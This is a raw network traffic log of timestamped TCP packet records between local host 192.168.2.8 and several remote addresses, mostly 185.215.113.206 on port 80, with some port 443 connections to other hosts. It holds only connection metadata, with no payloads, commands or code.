Nov 28, 2024 08:55:49.707206011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.707329988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.708136082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.708183050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.708270073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.708832979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.709383965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.709395885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.709558964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.710378885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.710462093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.710758924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.710876942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.711405993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.711426973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.711694956 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.712506056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.712521076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.712786913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.713587999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.713598967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.713747978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.714621067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.714647055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.714797974 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.715671062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.715780020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.715801954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.716139078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.716864109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.716876984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.716938972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.717931032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.718071938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.718075037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.718265057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.718924046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.718978882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.719033957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.719033957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.720045090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.720057964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.720364094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.721096992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.721185923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.721219063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.721429110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.722152948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.722471952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.722645044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.723304033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.723490953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.723536015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.723959923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.724313974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.724364042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.725128889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.725285053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.725457907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.725476980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.725522041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.725534916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.726550102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.726613045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.727462053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.727555037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.727566957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.727587938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.727858067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.728615046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.728738070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.728774071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.728871107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.729701042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.729829073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.730380058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.730578899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.730809927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.730834961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.730995893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.731872082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.732031107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.732053995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.732115984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.732950926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.733170033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.733839989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.733966112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.734041929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.734052896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.734134912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.735115051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.735269070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.736273050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.736284018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.736305952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.736417055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.736536026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.737252951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.737303972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.737723112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.737848043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.738332033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.738454103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.738603115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.738948107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.739521980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.739656925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.740012884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.740101099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.740478039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.740556002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.740613937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.740791082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.741628885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.741700888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.741755962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.741947889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.742609978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.742777109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.851861000 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.851919889 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:49.852138042 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.852332115 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.852349997 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:49.898116112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.898201942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.898277998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.898277998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.898655891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.898766994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.898817062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.898881912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.899523020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.899735928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.899774075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.900557995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.900729895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.900815010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.901161909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.901180029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.901222944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.901258945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.901551008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.902264118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.902506113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.902506113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.902561903 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.903286934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.903441906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.903987885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.904416084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.904417992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.904479980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.905117989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.905322075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.905455112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.905703068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.906030893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.906430006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.906529903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.906750917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.907177925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.907499075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.907618046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.907695055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.907730103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.907855988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.908687115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.908911943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.908936024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.909003973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.909779072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.909919977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.909943104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.910187006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.910847902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.911132097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.911562920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.911919117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.911931992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.912184000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.912765980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.912892103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.912997007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.913103104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.913944960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.914088964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.914102077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.914223909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.915188074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.915335894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.915369987 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.915406942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.916243076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.916362047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.916393042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.916714907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.917370081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.917696953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.917969942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.918030024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.918431044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.918507099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.918551922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.919504881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.919615984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.919672966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.919853926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.920567989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.920694113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.921652079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.921705008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.921925068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.922703981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.922802925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.922897100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.923629045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.923796892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.923870087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.924065113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.925007105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.925019979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.925080061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.925939083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.925987005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.926062107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.926244974 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.927012920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.927179098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.927259922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.927361012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.928081989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.928193092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.928277016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.928364992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.929172993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.929296970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.929357052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.929507017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.930483103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.930493116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.930615902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.983011007 CET	443	49789	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:49.983448029 CET	443	49789	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:49.983525991 CET	49789	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.984069109 CET	49789	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.984091043 CET	443	49789	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:50.032114983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.152322054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.163819075 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.164273977 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.164295912 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.165357113 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.165501118 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.166918993 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.166918993 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.166930914 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.167006969 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.209606886 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.209630966 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.234690905 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.234982014 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.234998941 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.235395908 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.235409975 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.235586882 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.235594034 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.235687971 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.236116886 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.241571903 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.241839886 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.241846085 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.241862059 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.256664991 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.286091089 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.286114931 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.296597004 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.297167063 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.297188997 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.298227072 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.298369884 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.298841000 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.298841000 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.298857927 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.298906088 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.333698034 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.348557949 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.348584890 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.395016909 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.516814947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.516982079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.517070055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.517417908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.517431021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.517930031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.518428087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.518645048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.518722057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.519203901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.519341946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.519565105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.519711971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.520355940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.520385981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.520546913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.520546913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.521430016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.521442890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.521542072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.521542072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.522475004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.523571014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.523586988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.523622990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.523648024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.523788929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.524638891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.524779081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.525718927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.525732994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.525770903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.525818110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.526496887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.526778936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.526863098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.527756929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.527955055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.527968884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.528021097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.528069019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.529162884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.529176950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.529287100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.530020952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.530148029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.530452967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.531090021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.531574011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.531672001 CET	80	49748	185.215.113.206	192.168.2.8
